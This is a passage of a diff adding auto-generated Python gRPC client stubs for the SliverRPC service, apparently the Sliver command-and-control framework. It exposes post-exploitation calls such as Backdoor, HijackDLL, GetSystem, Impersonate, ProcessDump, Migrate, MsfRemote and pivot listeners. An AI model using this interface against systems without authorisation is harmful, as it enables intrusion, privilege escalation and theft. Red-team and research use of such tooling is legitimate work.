channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WebsiteAddContent', + clientpb_dot_client__pb2.WebsiteAddContent.SerializeToString, + clientpb_dot_client__pb2.Website.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def WebsiteUpdateContent(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WebsiteUpdateContent', + clientpb_dot_client__pb2.WebsiteAddContent.SerializeToString, + clientpb_dot_client__pb2.Website.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def WebsiteRemoveContent(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/WebsiteRemoveContent', + clientpb_dot_client__pb2.WebsiteRemoveContent.SerializeToString, + clientpb_dot_client__pb2.Website.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Ping(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Ping', + sliverpb_dot_sliver__pb2.Ping.SerializeToString, + sliverpb_dot_sliver__pb2.Ping.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Ps(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Ps', + sliverpb_dot_sliver__pb2.PsReq.SerializeToString, + sliverpb_dot_sliver__pb2.Ps.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Terminate(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Terminate', + sliverpb_dot_sliver__pb2.TerminateReq.SerializeToString, + sliverpb_dot_sliver__pb2.Terminate.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Ifconfig(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Ifconfig', + sliverpb_dot_sliver__pb2.IfconfigReq.SerializeToString, + sliverpb_dot_sliver__pb2.Ifconfig.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Netstat(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Netstat', + sliverpb_dot_sliver__pb2.NetstatReq.SerializeToString, + sliverpb_dot_sliver__pb2.Netstat.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Ls(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Ls', + sliverpb_dot_sliver__pb2.LsReq.SerializeToString, + sliverpb_dot_sliver__pb2.Ls.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Cd(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Cd', + sliverpb_dot_sliver__pb2.CdReq.SerializeToString, + sliverpb_dot_sliver__pb2.Pwd.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Pwd(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Pwd', + sliverpb_dot_sliver__pb2.PwdReq.SerializeToString, + sliverpb_dot_sliver__pb2.Pwd.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Mv(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Mv', + sliverpb_dot_sliver__pb2.MvReq.SerializeToString, + sliverpb_dot_sliver__pb2.Mv.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Rm(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Rm', + sliverpb_dot_sliver__pb2.RmReq.SerializeToString, + sliverpb_dot_sliver__pb2.Rm.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Mkdir(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Mkdir', + sliverpb_dot_sliver__pb2.MkdirReq.SerializeToString, + sliverpb_dot_sliver__pb2.Mkdir.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Download(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Download', + sliverpb_dot_sliver__pb2.DownloadReq.SerializeToString, + sliverpb_dot_sliver__pb2.Download.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Upload(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Upload', + sliverpb_dot_sliver__pb2.UploadReq.SerializeToString, + sliverpb_dot_sliver__pb2.Upload.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Chmod(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Chmod', + sliverpb_dot_sliver__pb2.ChmodReq.SerializeToString, + sliverpb_dot_sliver__pb2.Chmod.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Chown(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Chown', + sliverpb_dot_sliver__pb2.ChownReq.SerializeToString, + sliverpb_dot_sliver__pb2.Chown.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Chtimes(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Chtimes', + sliverpb_dot_sliver__pb2.ChtimesReq.SerializeToString, + sliverpb_dot_sliver__pb2.Chtimes.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def MemfilesList(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/MemfilesList', + sliverpb_dot_sliver__pb2.MemfilesListReq.SerializeToString, + sliverpb_dot_sliver__pb2.Ls.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def MemfilesAdd(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/MemfilesAdd', + sliverpb_dot_sliver__pb2.MemfilesAddReq.SerializeToString, + sliverpb_dot_sliver__pb2.MemfilesAdd.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def MemfilesRm(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/MemfilesRm', + sliverpb_dot_sliver__pb2.MemfilesRmReq.SerializeToString, + sliverpb_dot_sliver__pb2.MemfilesRm.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def ProcessDump(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ProcessDump', + sliverpb_dot_sliver__pb2.ProcessDumpReq.SerializeToString, + sliverpb_dot_sliver__pb2.ProcessDump.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def RunAs(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RunAs', + sliverpb_dot_sliver__pb2.RunAsReq.SerializeToString, + sliverpb_dot_sliver__pb2.RunAs.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Impersonate(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Impersonate', + sliverpb_dot_sliver__pb2.ImpersonateReq.SerializeToString, + sliverpb_dot_sliver__pb2.Impersonate.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def RevToSelf(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RevToSelf', + sliverpb_dot_sliver__pb2.RevToSelfReq.SerializeToString, + sliverpb_dot_sliver__pb2.RevToSelf.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GetSystem(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetSystem', + clientpb_dot_client__pb2.GetSystemReq.SerializeToString, + sliverpb_dot_sliver__pb2.GetSystem.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Task(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Task', + sliverpb_dot_sliver__pb2.TaskReq.SerializeToString, + sliverpb_dot_sliver__pb2.Task.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Msf(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Msf', + clientpb_dot_client__pb2.MSFReq.SerializeToString, + sliverpb_dot_sliver__pb2.Task.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def MsfRemote(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/MsfRemote', + clientpb_dot_client__pb2.MSFRemoteReq.SerializeToString, + sliverpb_dot_sliver__pb2.Task.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def ExecuteAssembly(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ExecuteAssembly', + sliverpb_dot_sliver__pb2.ExecuteAssemblyReq.SerializeToString, + sliverpb_dot_sliver__pb2.ExecuteAssembly.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Migrate(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Migrate', + clientpb_dot_client__pb2.MigrateReq.SerializeToString, + sliverpb_dot_sliver__pb2.Migrate.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Execute(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Execute', + sliverpb_dot_sliver__pb2.ExecuteReq.SerializeToString, + sliverpb_dot_sliver__pb2.Execute.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def ExecuteWindows(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/ExecuteWindows', + sliverpb_dot_sliver__pb2.ExecuteWindowsReq.SerializeToString, + sliverpb_dot_sliver__pb2.Execute.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Sideload(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Sideload', + sliverpb_dot_sliver__pb2.SideloadReq.SerializeToString, + sliverpb_dot_sliver__pb2.Sideload.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def SpawnDll(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/SpawnDll', + sliverpb_dot_sliver__pb2.InvokeSpawnDllReq.SerializeToString, + sliverpb_dot_sliver__pb2.SpawnDll.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Screenshot(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Screenshot', + sliverpb_dot_sliver__pb2.ScreenshotReq.SerializeToString, + sliverpb_dot_sliver__pb2.Screenshot.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CurrentTokenOwner(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CurrentTokenOwner', + sliverpb_dot_sliver__pb2.CurrentTokenOwnerReq.SerializeToString, + sliverpb_dot_sliver__pb2.CurrentTokenOwner.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def PivotStartListener(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/PivotStartListener', + sliverpb_dot_sliver__pb2.PivotStartListenerReq.SerializeToString, + sliverpb_dot_sliver__pb2.PivotListener.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def PivotStopListener(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/PivotStopListener', + sliverpb_dot_sliver__pb2.PivotStopListenerReq.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def PivotSessionListeners(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/PivotSessionListeners', + sliverpb_dot_sliver__pb2.PivotListenersReq.SerializeToString, + sliverpb_dot_sliver__pb2.PivotListeners.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def PivotGraph(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/PivotGraph', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.PivotGraph.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def StartService(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StartService', + sliverpb_dot_sliver__pb2.StartServiceReq.SerializeToString, + sliverpb_dot_sliver__pb2.ServiceInfo.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def StopService(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StopService', + sliverpb_dot_sliver__pb2.StopServiceReq.SerializeToString, + sliverpb_dot_sliver__pb2.ServiceInfo.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def RemoveService(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RemoveService', + sliverpb_dot_sliver__pb2.RemoveServiceReq.SerializeToString, + sliverpb_dot_sliver__pb2.ServiceInfo.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def MakeToken(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/MakeToken', + sliverpb_dot_sliver__pb2.MakeTokenReq.SerializeToString, + sliverpb_dot_sliver__pb2.MakeToken.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GetEnv(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetEnv', + sliverpb_dot_sliver__pb2.EnvReq.SerializeToString, + sliverpb_dot_sliver__pb2.EnvInfo.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def SetEnv(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/SetEnv', + sliverpb_dot_sliver__pb2.SetEnvReq.SerializeToString, + sliverpb_dot_sliver__pb2.SetEnv.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def UnsetEnv(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/UnsetEnv', + sliverpb_dot_sliver__pb2.UnsetEnvReq.SerializeToString, + sliverpb_dot_sliver__pb2.UnsetEnv.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Backdoor(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Backdoor', + clientpb_dot_client__pb2.BackdoorReq.SerializeToString, + clientpb_dot_client__pb2.Backdoor.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def RegistryRead(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RegistryRead', + sliverpb_dot_sliver__pb2.RegistryReadReq.SerializeToString, + sliverpb_dot_sliver__pb2.RegistryRead.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def RegistryWrite(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RegistryWrite', + sliverpb_dot_sliver__pb2.RegistryWriteReq.SerializeToString, + sliverpb_dot_sliver__pb2.RegistryWrite.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def RegistryCreateKey(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RegistryCreateKey', + sliverpb_dot_sliver__pb2.RegistryCreateKeyReq.SerializeToString, + sliverpb_dot_sliver__pb2.RegistryCreateKey.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def RegistryDeleteKey(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RegistryDeleteKey', + sliverpb_dot_sliver__pb2.RegistryDeleteKeyReq.SerializeToString, + sliverpb_dot_sliver__pb2.RegistryDeleteKey.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def RegistryListSubKeys(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RegistryListSubKeys', + sliverpb_dot_sliver__pb2.RegistrySubKeyListReq.SerializeToString, + sliverpb_dot_sliver__pb2.RegistrySubKeyList.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def RegistryListValues(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RegistryListValues', + sliverpb_dot_sliver__pb2.RegistryListValuesReq.SerializeToString, + sliverpb_dot_sliver__pb2.RegistryValuesList.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def RunSSHCommand(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RunSSHCommand', + sliverpb_dot_sliver__pb2.SSHCommandReq.SerializeToString, + sliverpb_dot_sliver__pb2.SSHCommand.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def HijackDLL(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/HijackDLL', + clientpb_dot_client__pb2.DllHijackReq.SerializeToString, + clientpb_dot_client__pb2.DllHijack.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GetPrivs(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetPrivs', + sliverpb_dot_sliver__pb2.GetPrivsReq.SerializeToString, + sliverpb_dot_sliver__pb2.GetPrivs.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def StartRportFwdListener(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StartRportFwdListener', + sliverpb_dot_sliver__pb2.RportFwdStartListenerReq.SerializeToString, + sliverpb_dot_sliver__pb2.RportFwdListener.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GetRportFwdListeners(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetRportFwdListeners', + sliverpb_dot_sliver__pb2.RportFwdListenersReq.SerializeToString, + sliverpb_dot_sliver__pb2.RportFwdListeners.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def StopRportFwdListener(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/StopRportFwdListener', + sliverpb_dot_sliver__pb2.RportFwdStopListenerReq.SerializeToString, + sliverpb_dot_sliver__pb2.RportFwdListener.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def OpenSession(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/OpenSession', + sliverpb_dot_sliver__pb2.OpenSession.SerializeToString, + sliverpb_dot_sliver__pb2.OpenSession.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CloseSession(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CloseSession', + sliverpb_dot_sliver__pb2.CloseSession.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def RegisterExtension(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RegisterExtension', + sliverpb_dot_sliver__pb2.RegisterExtensionReq.SerializeToString, + sliverpb_dot_sliver__pb2.RegisterExtension.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CallExtension(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/CallExtension', + sliverpb_dot_sliver__pb2.CallExtensionReq.SerializeToString, + sliverpb_dot_sliver__pb2.CallExtension.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def ListExtensions(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, 